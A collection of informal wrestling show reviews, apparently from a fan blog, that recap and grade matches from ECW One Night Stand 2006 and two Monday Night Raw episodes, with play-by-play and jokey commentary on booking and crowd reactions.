Rating: B-. Pretty good match here but the chemistry was way off. Angle was destroying Orton out there and went into this big rush whenever Orton got anything going, making Orton look like an idiot out there. In one sense that’s fine but at the same time the match was kind of a mess because Orton never could get anything going. Angle would be gone in two months though so they didn’t really have to deal with it.

ECW is going to have house shows.

FBI vs. Tajiri/Super Crazy

Guido and Mamaluke here with a guy named Big Guido. The fans all chant welcome back to all four guys, even though some of them were here last year. Mamaluke isn’t tiny like he was back in the day of ECW. Tajiri breaks up a key lock by Mamaluke to tick off the Italians. Joey and Taz make fun of the whole Mexicool idea as the fans chant Nacho Libre. Technical stuff of course to start as that’s what you should expect from these guys.

Short arm scissors goes on and Crazy lifts Mamaluke up ala British Bulldog vs. Shawn Michaels. Taz says it’s like Backlund who is more famous for it I guess. Off to Tajiri (big pop) and Guido with the fans chanting for ECW in general. Guido grabs a very quick Fujiwara armbar but Tajiri gets a rope. That came out of nowhere. Guido really was good when he got going out there.

Tajiri gets something like an inbred cousin of the Tequila Sunrise which doesn’t last long. Tree of Woe for Guido and everything breaks down quickly. Double Tree of Woe and almost stereo baseball slides into the Italians. Crazy tries for the triple moonsaults but totally misses the bottom rope one and Mamaluke saves Guido from the others. Asai moonsault takes out the Italians though and everyone is down.

Big Guido finally gets into this and beats up Crazy like there’s nothing there. Crazy vs. Mamaluke now and Tony (Mamaluke’s first name if I missed that) throws on some fast submissions which get him nowhere. Guido kicks Crazy in the face and Tajiri is like GIMMICK INFRINGEMENT and kicks the Italians in half.

One man flapjack by Crazy sets up the tag to Tajiri and the kicks are on again. Octopus goes on Mamaluke as this has been about 1.1 sided. Handspring elbow takes out the Italians and a big kick to Guido gets two as it all breaks down again. Double Tarantula to the Italians as this is shifting to 1.05 sided. The good guys (I guess) try to take out Big Guido with kicks and that actually works. Some giant. Crazy gets taken down so Tajiri beats up the Italians for a bit until they catch him in a double Fisherman’s Buster to end it.

Rating: C. Really not sure if I agree with that ending as Tajiri was WAY more popular than anyone else in there. The Italians were a team that was funny when they had the joke right but then towards the end they blew it by making them just a regular tag team. Really not sure I get the ending there but not a bad match at all.

Big Show comes out and beats everyone up, including having what I guess is a big showdown with Big Guido.

ECW on Sci-Fi debuts Tuesday.

JBL pops up in the balcony with some other WWE guys behind him to run down WCW. The fans chant homosexual slurs which JBL has no issues shouting back at them. We get references to the Blue Meanie incident last year where JBL legitimately beat up Meanie during the big brawl to end the show. This goes into a huge anti-ECW rant where he praises Vince and bashes everything ECW stood for. This is great heel stuff and the crowd reaction mostly proves it. Oh and now JBL is the voice of Smackdown.

Get the ECW book!

Smackdown World Title: Rey Mysterio vs. Sabu

Rey is booed out of the freaking building. Naturally he’s only the World Champion here instead of the World Heavyweight Champion because that’s how they roll here. This is under extreme rules, like every other match here should be but of course isn’t because that’s not the WWE way. Rey has a chair during the big match intros. Sabu grabs one before the bell and the fans are totally behind Sabu. Joey: “Mixed reaction here for Rey.” Taz: “Nah they’re booing him.”

After some basic wrestling stuff they duel with the chairs and guess who wins that. Air Sabu in the corner but Rey gets a drop toehold to break up the Triple Jump Moonsault. 619 misses and you would think Rey had just banned rainbows. BIG chair shot sends Rey to the floor and the brawl is on. It’s table time with the table set up as a bridge between the ring and the railing.

Rey is placed on it but moves as Sabu starts setting up. Sabu gets sent into the steps and a moonsault press gets two for Rey. Camel clutch by Sabu which draws a Sheik chant. Naturally he lets it go to grab a table. Arabian Facebuster has Rey in trouble as he left the table on the floor. Table is set up in front of the aisle but Rey knocks him onto it and hits a seated senton through it to put both guys down in the aisle.

Sabu’s arm is messed up and Rey tries something like Air Sabu in the corner but Sabu gets out of the way and hits a springboard leg lariat to take Rey down. Triple Jump Moonsault gets a close two. It was more like a knee drop to the face but close enough. Sabu gets all ticked off and pelts the chair at the head of Rey to take him down. Onto the bridged table from earlier and a big front flip dive over the top through the table takes both guys out. And here are some suits to say that they can’t continue and we’re done. I’ll spare you a very long rant about how stupid this is.

Rating: C+. This would have been higher if this had a finish. Rey wasn’t used to being hated like this so they went against it for the sake of having a decent match. That being said, taking the superhero out of the match in case it got too extreme is incredibly stupid. Oh screw it. Here’s that rant I mentioned.

This is the first shot to killing ECW. Let’s take a look at some of Sabu’s more famous stuff. He’s ripped open a bicep and glued it back together to continue a match. He’s had to be cut out of barbed wire after winning a match. He’s been set on fire. He’s been put through more tables than you can count. He’s been beaten up, stomped on, kicked, smacked around, choked out and everything else you can think of, but here he can’t continue because of going through a single table.

Just think about that for a minute. How weak does that make him look? The old grizzled hero of the people now can’t take a single shot through a table by doctors’ orders. How many times do you remember a doctor being around in ECW? The very idea of a DQ in ECW was blasphemy. You can see right here how it’s a WWE show and not an ECW show at all.

This would be a sign of things to come for the company as I’ sure you remember the Zombie being on the first show on Sci-Fi. Yes, as in a dead guy that craves human flesh. It’s as stupid as it sounds. Anyway, ECW was dead and the proof should have started right here. Stupid moment as even Rey winning on a fluke pin would have made more sense here. Just terribly stupid and a way to make ECW look weak from the get go.

Anyway take a guess as to how the fans take this one. The replay shows that it was more or less a jumping DDT to Rey so he should be hurt a good deal worse.

We recap Edge/Foley vs. Dreamer/Funk. Foley and Edge had a great hardcore match at Mania and declared that he and Edge were the best hardcore guys ever. Funk and Dreamer protested and we have a match. Heyman went off on Foley, saying he was a prostitute. Oh and Edge and Foley were declared co-hardcore champions. Foley says everyone in ECW is jealous because he got the star power that none of them did. Heyman made the required tag match.

Edge/Mick Foley vs. Tommy Dreamer/Terry Funk

Foley is booed out of the building but we have promos before the match. He says he did sell out, but he means Madison Square Garden. He loved ECW at the point when it was run by a true visionary, so let’s hear it for Stephanie McMahon! Long live the Alliance! Funny stuff. Here’s Edge with Lita. Edge says this is ECW’s Christmas but Heyman is Santa. Then they’re going to go home and text their imaginary girlfriends that the show was great then get on the internet and pleasure themselves to his actual girlfriend. Funny stuff again. Lita says the fans get little action and runs down Beaulah.

The cover of Man in the Box comes on to keep the riot from starting. Even Beaulah is here so let’s make it a six man/woman.

Edge/Mick Foley/Lita vs. Tommy Dreamer/Terry Funk/Beaulah McGillicutty

Always thought Beaulah looked great. Wonder if she’s related to Michael. Beaulah is in heels so this isn’t going to go well for her. Catfight to start but the guys pull them back. Edge and Dreamer start us off and they actually wrestle a bit. Off to Foley and Funk quickly who wrestle a bit also. Actually I’d give that to Funk. He might be better at it even though he’s a bit out of practice. Foley isn’t sure he wants to do this and tries to leave. Yep here’s the brawl.

Dreamer grabs some water to send into Edge’s face as Funk hammers on Foley with whatever he takes a notion to. The girls are still chilling on the apron as weapons come into the ring. There aren’t going to be any more tags at all are there? I really wouldn’t expect a lot of play by play from this point on. Baseball slide into a garbage can into Foley’s head. Edge takes over on Dreamer and it’s ladder time already.

The old dudes go up the aisle and it’s so nice to see WWE production values here where they know how to go back and forth and keep up with the action rather than seeing the tops of people’s heads and calling it following the action. Ladder goes upside Dreamer’s head but a spear is hiptossed and Edge lands on the ladder. Funk and Foley get back in and it’s windmill with the ladder time.

Funk, a spry 61 here, goes up the ladder only for Edge to dump it over and have him crash down onto the mat below. Dreamer sets for the Dreamer Driver on Edge but Lita finally does something, breaking up the Driver. Foley and Edge find a big plywood board. Uh…ok? They find another one covered in barbed wire. NOW THAT’S MORE LIKE IT! They slam it down on Dreamer who gets it caught in his skin.

They try to do it again but Funk pulls their feet out and it lands on the heels, including Edge’s face. The fans, ever the nice guys, chant that they want fire. Barbed wire board is set up in the corner and it’s time for some punching on Foley before he gets thrown through the board. Dreamer is crotched on the railing outside as the fans think this is awesome. I’d be inclined to agree for once.

Foley manages to throw the board onto Funk and has Lita get even more barbed wire. It gets wrapped around Foley’s arm and he rams it into Funk’s head. Terry is bleeding all over and shakes like a fish as is his custom. Foley rams the wire into his face for good measure so the referees take Funk out as he screams about his eye. The fans want Sandman but get a barbed wire ball bat instead.

That goes into Dreamer’s anatomy, including his balls due to the leg drop from Lita. Mick pulls out a pair of socks to really tick the fans off. Foley goes ultra heel by putting the Claw on Beaulah, setting Dreamer off. He gets caught in the hold anyway and Edge spears him half to death. Edge and Lita go after Beaulah and Edge bends her over in front of him. Where are Trish and HHH when you need them for pointers?

Instead it’s Funk, coming through the crowd with a big bandage around his head and a 2×4 wrapped in barbed wire. The distraction lets Dreamer hit a pair of low blows and Beaulah chases Lita off. Funk blasts them both with the board and then in the words of Bubba Ray Dudley, why don’t we just light it on fire? Funk drills Edge with it then hits Foley, sending him through the barbed wire board which Foley said was absolute agony on a commentary I heard for this match.

Funk gets dropped on top of him but Dreamer takes down Edge, putting him in a Crossface but instead of choking him he wraps barbed wire around his face and pulls back on it. FREAKING OW MAN!!! Catfight ensues and Dreamer gives Lita a Death Valley Driver and is all fired up but Edge grabs an Edge-O-Matic with the barbed wire. Spear to Beaulah and a cover with Edge putting her legs in the air and bouncing up and down on her ends this absolute war.

Rating: A-. Freaking WAR here as these four absolutely destroyed each other in the name of violence and revenge. Edge looked like a superstar which was the point of this whole thing. This is easily the match of the show and is well worth seeing if you’re a fan of big old violent wars. The WWE camera work helps a lot here too as they barely missed anything which is a major upgrade over the regular ECW production values. Check this one out as it’s great stuff and very violent but in a good way.

We take some time to clean up the carnage. Funk is still in barbed wire and him giving instructions on how to get him out of it is funny for some reason.

Cena is in the back and the heat is unreal.

RVD is getting ready and the fans are a bit more pleased.

Balls Mahoney vs. Masato Tanaka

Taz (sans sunglasses) makes fun of Balls being from Nutley, New Jersey. What are the odds of that one? These two used to be tag champions. Show of respect to start as the fans are totally behind Tanaka. He has a bad shoulder too. Tanaka hammers away to start but walks into a powerslam and some punches. Mahoney is sent to the floor so Tanaka dives on him to start a brawl outside.

Balls wants a beer so he takes a sip and drills Tanaka with the rest of it. Running chair shot misses as a fan has a sign that says pork. No one ever said they made sense. Back in now and Tanaka gets a superplex for two. Balls gets one of his own and screw it let’s have a chair duel. A huge shot from Mahoney is enough to end it, which is a bit hard to buy after the war Tanaka and Awesome had last year.

Rating: D+. Just a quick match to give the fans a breather which is probably a good idea. This was a rematch from some original PPV I think but that wasn’t referenced. To be fair though it’s not like there was a point to this one so I can’t blame them for that one. Just a match here and there’s nothing bad about that.

We recap RVD winning MITB at Mania and saying he wasn’t sure when to cash it in. He picked One Night Stand which makes perfect sense from his perspective actually. This gets the music video treatment.

The announcer gets ready to announce the match but here’s Eugene instead. Oh I don’t see this ending well at all. He says he loves ECW and says he’s Bischoff’s nephew which was forgotten by this time I think. He says he’s hardcore and thinks the boos are U for Eugene. He has a poem about ECW and the announcers blast this beyond belief.

Eugene gets through a few verses and says he wants to hug everyone…..and here’s Sandman to not Enter Sandman. The entrance takes forever but the destruction of Eugene….gee this isn’t a nice place is it? That was the inherent flaw in the Eugene character but that’s par for the course in wrestling. Eugene runs during the beating which is rather intelligent.

Raw World Title: John Cena vs. Rob Van Dam

After an extended entrance from RVD, it’s time for the moment that this show is remembered for. Cena’s entrance is a sight to behold as you will never, ever see more heat on one guy no matter how long you live. There’s the famous “If Cena Wins We Riot” sign but the thing here is: they really will riot.

The start of the song gets just booing but when he steps through the curtain it’s on. You see nothing but middle fingers as he comes down the aisle and Cena holds the title up like a boxer would and just soaks it in. The big match intros make it even worse. They throw his hat and shirt back, which says a lot actually. Then they do it again. Make it three times. Would you believe four? The thing to remember: there are only 2,500 people here. Watch this match and you would seriously think it was a 15,000 seat arena. It’s that bad.

There’s the bell and Cena is shaken up. There’s the FU already. The chant to Cena, not the move. Toilet paper comes in and this is insane. They lock it up a few times and Cena shoves him into the corner as the fans say you can’t wrestle. This is Extreme Rules which I forgot to mention. Perfectplex gets two. Every single move Cena makes is being booed even louder and it seems to be legit getting to him. Can’t say I blame him but it’s weird to see from Cena.

RVD kicks him to the floor and is nothing less than divine here. They butt heads in the ring and slug it out. Powerslam gets two for the champ and a clothesline sends him to the floor. The fans chant “same old stuff” but in a bit more colorful way. Cena goes up top and drops a forearm from the top and sends Van Dam into the table. Now the fans think he’s overrated. RVD gets a moonsault press off the steps to take over out of nowhere.

Cena reverses an Irish Whip and down goes the cameraman. Out into the crowd which I give Cena legit credit for doing as I’d be scared of being stabbed or something. Cena gets draped over the railing and Van Dam hits that spinning legdrop to take both guys down. Back to the ring now but Rob gets a baseball slide and a slingshot guillotine legdrop for no cover. Skateboard chair shot in the corner gets a close two.

Rolling Thunder lands on the chair but a delay in the cover means only two. Split legged moonsault (take notes Morrison) eats knees (take better notes) and Cena gets a DDT on the chair which no one sells like Van Dam. The fans remind him that he can’t wrestle. I wonder if Vince gave the guys a similar speech when they changed the company name. With a chair wedged between the ropes, Cena gets a slingshot to send RVD’s head into it for a close two.

Cena shows he has a massive set and does You Can’t See Me and the Five Knuckle Shuffle which is about as evil as you can get in ECW. FU is countered and a double leg spin kick takes Cena down. Cena cranks it up but a charge eats boot. The kick off the top is just ducked and Van Dam crashes. Crowd chants YOU STILL SUCK. RVD tries to sit Cena on the top rope (the rope itself, not the corner) but drops him to the floor. Dropkick sends Cena into the railing and it’s table time.

Table is set up in the corner by Van Dam but he turns around into the STFU. There’s a rope after a long crawl but does he really have to break it in an extreme rules match? The referee gets in Cena’s face so Cena drills him with a clothesline and crotches Rob on the top. Superplex but there’s no referee.

Cena brings in the steps and DRILLS Van Dam with them as I guess he’s a heel now as far as this match goes. A Smackdown referee comes in to count two and it’s FU time. RVD grabs the ropes so Cena sends him over the top instead. Out of NOWHERE a guy in a helmet and trenchcoat pops up to spear Cena through the table.

The helmet comes off and it’s Edge. Crowd: THANK YOU EDGE! THANK YOU EDGE! THANK YOU EDGE! This is the guy that tried to kill Tommy Dreamer earlier remember. Van Dam is like ok (Joey: Do it Rob, we’ll take it!”) and the Five Star hits as Heyman comes out to count the pin. This actually counted because Heyman was a WWE big shot or something like that. More or less he was the ECW GM.

Rating: B+. This is more for the crowd than the match for once. No question about it: this is required viewing to show what is meant by having the crowd make a match better than it should be. The people made RVD Cena’s equal and that was a big leap for him at this point. There was no other option for the ending, if nothing else for fear of the WWE guys’ safety. Good match, absolutely amazing visual.

RVD celebrates in the crowd as the locker room has a beer bash in the ring. Does anyone else find it really funny that Heyman never made Van Dam world champion but Vince and later Bischoff did?

Overall Rating: A. While it’s a step below last year’s, this was an awesome show with FAR better in ring stuff including two must see matches and some other decent stuff. This felt like a PPV instead of a reunion and that’s what it was supposed to be. Great show as everyone was working hard and it seemed like there was a reason for ECW to come back. Granted Van Dam was busted for drug possession in about three weeks and dropped the title and Angle would be in TNA in about four months, but we can let that go for the sake of a great show. Well worth seeing for multiple reasons.

 

Remember to follow me on Twitter @kbreviews




Monday Night Raw – September 3, 2012: More Padding Than A Teenage Girl’s Bra On Prom Night

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Date: September 3, 2012
Location: Allstate Arena, Chicago, Illinois
Commentators: Jerry Lawler, Michael Cole

We open with a recap of the Lawler/Punk stuff from last week.

Tonight Is The Night for Punk vs. an old man again apparently.

Randy Orton vs. Dolph Ziggler

Dolph demanded this after losing on Friday. He immediately dropkicks Orton down and struts a bit. Orton comes back with a dropkick of his own and the circle stomp. A slingshot suplex gets two on Dolph and Orton hits a kind of clothesline before sending Ziggler to the floor. Orton rams him into the barricade a few times and we take a break.

Miz comes out immediately for commentary. Not to jump Orton or anything, but for commentary.

Sin Cara/Rey Mysterio vs. Cody Rhodes/Tensai

Tensai comes back in sans tag for the over the shoulder backbreaker but Rey escapes and knocks him into the 619. A springboard missile dropkick by Cara sends Tensai to the floor as Cody hits a release Gordbuster to Rey for two. A powerbomb is countered into the 619 and Cara hits a Swanton Bomb for the pin on Cody at 7:54.

Sheamus vs. CM Punk

Jack Swagger vs. Sheamus

Eve Torres vs. Kaitlyn

Eve and Layla shake hands post match.

Jinder Mahal vs. Ryback

Nothing for Ryback post match because we need to talk about the WWE App for Android!

AJ tells Striker that Cena vs. Del Rio is now falls count anywhere. Why? No reason whatsoever. Well, other than for them to go to the parking lot and Punk can appear out of nowhere and jump Cena.

Now a fight breaks out and Kane kicks Bryan in the face. Bryan low bridges Kane but misses the running knee off the apron. Kane chokeslams him down in the ring and tries to Pillmanize his neck, but referees distract him and Bryan hits Kane with the chair. They spent over ten minutes on this segment. Let that sink in for a minute. Oh and also, this would seem to be a waste of all the buildup these two had in the anger management stuff.

US Title: Antonio Cesaro vs. Santino Marella

Santino takes him down immediately and loads up the Cobra but loses the sock for some reason. The move hits and has no effect, so Cesaro puts the chinlock on. Cesaro clotheslines him down a few times but Santino gets the sock. He freaks out because he gets it and is clotheslined down again. Neutralizer gets the pin to retain at 2:06. Never let these two fight again. Ever.

Heath Slater vs. Zach Ryder

John Cena vs. Alberto Del Rio

Cena starts his finishing sequence but Del Rio grabs the rope to block the AA. They head to the floor with Del Rio sending him into the steps for two. Cena sends him to the steps but Del Rio jumps over them and Cena shoulder blocks him down for two. John loads up the announce table but gets caught by a running enziguri for two. Cena tries another AA but gets posted for his efforts.

Cena gets up again and sends Del Rio into the crowd. John moves the steps to the side of the table and tries an AA through them, but Del Rio escapes into a belly to back suplex for two on the floor. Back in Del Rio gets a mic and says that Cena is beneath him. He puts on the armbreaker but Cena rolls through it and counters into the STF. Del Rio hangs in it for a long time and grabs the mic to hit Cena in the head to escape.

Rating: B. Good main event here which felt like something off a bad PPV. I thought Cena had him beaten at least three times before the end, which while predictable needed to happen. The story of Cena not being able to hit the AA worked well and it told a good story for the match. Very solid TV match here.

Results

Dolph Ziggler b. Randy Orton – Rollup

Rey Mysterio/Sin Cara b. Cody Rhodes/Tensai – Swanton Bomb to Rhodes

Sheamus b. Jack Swagger – Texas Cloverleaf

Eve Torres b. Kaitlyn – Swinging Neckbreaker

Ryback b. Jinder Mahal – Shell Shock

Antonio Cesaro b. Santino Marella – Neutralizer

Zach Ryder b. Heath Slater – Rough Ryder

Alberto Del Rio b. John Cena – Pin after an attack from CM Punk

Remember to follow me on Twitter @kbreviews




Monday Night Raw – March 20, 2000: The Wrestlemania Main Event Two Weeks Before Wrestlemania

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Date: March 20, 2000
Location: Allstate Arena, Chicago, Illinois
Commentators: Jim Ross, Jerry Lawler

This was a request from a colleague of mine named Adam King. Check out his site at http://kingsrecaps.wordpress.com/. He has some very good Raw, Smackdown and Nitro reviews that are worth checking out.

X-Pac/Road Dogg vs. Hardy Boys

I miss the King of Rock theme they used to have. Apparently this is the debut of that song. This is part of the aforementioned elimination series, the first of four matches in the series. Pac and Matt start things off and Matt gets his head kicked off very quickly. Matt comes back with a powerslam and back elbow before the tag is made to Roadie and Jeff. Jeff sends Road Dogg to the floor and hits a modified baseball slide which gets two back in the ring.

Tori gets chokeslammed post match.

Rock is just getting here.

Godfather vs. Big Boss Man

Good night Godfather is over like free beer in a frat house. Boss Man and Buchanan charge the ring and both guys beat down Godfather. No match.

DX wants to know what in the world HHH is thinking. His response is making Rikishi vs. Kane.

Too Cool vs. Dean Malenko/Perry Saturn

Kane vs. Rikishi

Rikishi beats up DX almost on his own but the numbers catch up with him.

Angle comes out for commentary.

Chris Benoit vs. Chris Jericho

Rating: C+. Not the best match these two have ever had but any combination of these two and Angle is always worth checking out. Their triple threat was a great match and set up a whole summer of these guys fighting each other. The ending helped set up the three way in a few weeks so there was some long term value to this as well. Good stuff.

Backlund and Angle celebrate in the back.

Holly Cousins vs. Al Snow/Steve Blackman

Off to Hardcore who slams Snow and everything breaks down. The Hollies seem to screw up a double flapjack and here comes Taz with a referee. He beats Crash into the crowd which is somehow not a DQ and the tag match is now a handicap. Blackman kicks Snow down and we cut to the back to see fans trying to see the Hardcore Title stuff. We cut back to see Blackman holding Holly over his knee as Snow hits a middle rope legdrop for the pin to advance to the battle royal.

Edge/Christian vs. Acolytes

The four teams are the Hardys, Edge/Christian, Too Cool and Snow/Blackman.

Test vs. Val Venis

Video of Rock hosting SNL this past week. This was a huge deal as the first time had been to promote the original Wrestlemania with Hogan hosting. Rock got to show off some actual talent though, including singing a bit. Big Show, HHH and Foley were there too.

Tag Team Battle Royal

Hardy Boys, Edge/Christian, Al Snow/Steve Blackman, Too Cool

WWF World Title: The Rock vs. HHH vs. Big Show

HHH is defending. We start fast with Rock taking Show down for two and a slam gets the same on HHH. Rock knocks HHH to the floor and Vince decks the champ. Rock Bottom gets two on Big Show as HHH saves. He gets sent to the floor again and this time Rock follows to hammer on him. Rock and HHH fight into the crowd and Show eventually follows with right hands to the Brahma Bull.

Overall Rating: B. Not only did we have a show long competition which would eventually set up a triple threat ladder match, but we literally got the Wrestlemania main event on Raw. What more can you ask for from a free TV show? The return of Foley was HUGE and the whole show came off like it was leading up to the biggest and most important show of the year, which is exactly what they were shooting for. Very good stuff here.

Remember to follow me on Twitter @kbreviews